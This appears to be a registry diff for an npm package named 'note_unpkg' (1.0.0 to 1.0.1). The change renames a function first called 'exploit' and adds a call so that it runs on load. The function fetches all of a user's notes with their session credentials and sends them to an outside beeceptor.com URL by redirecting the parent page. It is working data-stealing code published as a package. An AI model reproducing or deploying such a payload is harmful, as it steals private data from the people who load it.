note_unpkg 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +2 -1
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
async function
|
|
1
|
+
async function go() {
|
|
2
2
|
let notes = await fetch("/api/notes/all", {
|
|
3
3
|
"method": "GET",
|
|
4
4
|
"credentials": "include"})
|
|
@@ -13,3 +13,4 @@ async function exploit() {
|
|
|
13
13
|
await new Promise(r => setTimeout(r, 2000));
|
|
14
14
|
window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + notes
|
|
15
15
|
};
|
|
16
|
+
await go();
|